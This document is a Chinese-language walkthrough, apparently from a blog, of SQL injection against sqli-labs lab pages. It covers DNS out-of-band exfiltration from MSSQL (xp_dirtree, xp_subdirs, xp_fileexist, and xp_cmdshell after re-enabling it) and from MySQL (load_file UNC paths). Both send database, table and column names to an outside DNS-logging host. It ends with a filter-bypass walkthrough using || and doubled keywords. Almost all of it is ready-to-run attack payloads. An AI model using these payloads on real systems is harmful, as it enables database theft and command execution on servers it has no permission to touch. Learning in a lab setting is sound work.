Abstract: 利用mssql 数据库的 dnslog 外带数据的方式进行注入,查询出库名表名;利用 mysql 数据库在 windows 系统中 dnslog 外带数据进行注入。

Table of Contents

  1. Mssql 的 dnslog 外带数据注入
    1. 查询库名
    2. 查询库 test 中的表名
    3. 查询 users 表中的列名
    4. 使用 xp_subdirs
    5. 使用 xp_fileexist
    6. 使用 xp_cmdshell
  2. MySQL 的 dnslog 外带数据注入
    1. 查询库名
    2. 查询 security 库中的表名
    3. 查询 emails 表中列名
  3. sqli-labs Less-25

Mssqldnslog 外带数据注入

查询库名

查总个数

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select count(name) from master.dbo.sysdatabases );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

查第一个库名

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=1 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

查询第二个库名

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=2 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

全部库名如下图所示:

八个库分别为:mastertempdbmodelmsdbReportServeraspcmsReportServerTempDBtest

查询库 test 中的表名

先查看个数

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select count(Name) FROM test.dbo.SysObjects Where XType='U' );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

总共四个表

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U');exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in ('emails') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

关于如何取下一个表名,还有一种更巧妙的方法,

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in (select top 3 name from test.dbo.SysObjects Where XType='U') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

可知,这四个表分别为:emailsusersuagentsreferers

查询 users 表中的列名

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

依次执行下面命令,可以查的所有的列名

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username', 'password') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')

列名分别为 :idusernamepassword

使用 xp_subdirs

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_subdirs "//' %2b @a %2b '.subdirs.9rq9q9.ceye.io/a" ')

使用 xp_fileexist

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_fileexist "//' %2b @a %2b '.fileexist.9rq9q9.ceye.io/a" ')

使用 xp_cmdshell

现在数据库中打开 xp_cmdshell

1
2
3
4
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

先在数据库中执行下面命令,看是否正确。

1
2
3
4
5
declare @a varchar(1024);
set @a='www.baidu.com';
exec('sp_configure "show advanced options",1');
reconfigure;exec('sp_configure "xp_cmdshell",1');
reconfigure;exec ('master..xp_cmdshell "ping ' + @a + '.cmdshell.9rq9q9.ceye.io" ')

我们可以看到执行的结果。

Hackbar执行命令

1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a='www.baidu.com'; exec('sp_configure "show advanced options",1');reconfigure;exec('sp_configure "xp_cmdshell",1');reconfigure;exec ('master..xp_cmdshell "ping ' %2b @a %2b '.hackbarcmd.9rq9q9.ceye.io" ')

1
http://192.168.179.131/less-6.asp?id=1; declare @a varchar(1024); set @a='www.baidu.com';exec ('master..xp_cmdshell "ping ' %2b @a %2b '.han.9rq9q9.ceye.io" ')

MySQLdnslog 外带数据注入

window下在 phpstudy_proC:\phpstudy_pro\Extensions\MySQL8.0.12 下的 my.ini中添加:

secure_file_priv= 重启服务。

查询库名

1
select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))

1
select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 1,1), '.mysql.9rq9q9.ceye.io\\abc'))

查询 security 库中的表名

1
select load_file(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema='security' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))

:也可以使用 database() 函数代替 security,不过要记住要先使用命令 use security; 否则会因当前没有使用的数据库造成失败。

查询 emails 表中列名

1
select load_file(CONCAT('\\\\',(SELECT column_name FROM information_schema.columns WHERE table_schema='security' and table_name = 'emails' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))

sqli-labs Less-25

1
http://192.168.43.204/sqli-labs/Less-25?id=1

1
http://192.168.43.204/sqli-labs/Less-25?id=1'

1
http://192.168.43.204/sqli-labs/Less-25?id=1' -- |

1
http://192.168.43.204/sqli-labs/Less-25?id=1' and '1'='1 -- |

发现页面变化了,并且把我们输入的 andor给过滤掉了。改变单词内某些字母的大小写,依然无济于事。尝试用 &&||

1
http://192.168.43.204/sqli-labs/Less-25?id=1' || '1'='1 -- |

可以在网页上清除看到,|| 并没有被过滤掉。

这里可以选择联合查询

由于数据库错误会提示报错信息,所以也可以选择报错注入。在这里我们通过 &&||注入。

1
http://192.168.43.204/sqli-labs/Less-25?id=1' && updatexml(1, concat('~',(select database()), '~'), 1)  -- |

可以发现 && 及其后面的内容全部过滤掉了。

尝试使用 ||

1
http://192.168.43.204/sqli-labs/Less-25?id=1' || updatexml(1, concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'), '~'), 1)  -- |

发现把 information_schema 中的 or 给过滤掉了,尝试下 infoorrmation_schema

1
http://192.168.43.204/sqli-labs/Less-25?id=1' || updatexml(1, concat('~',(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'), '~'), 1)  -- |

同理我们也可以查到列名。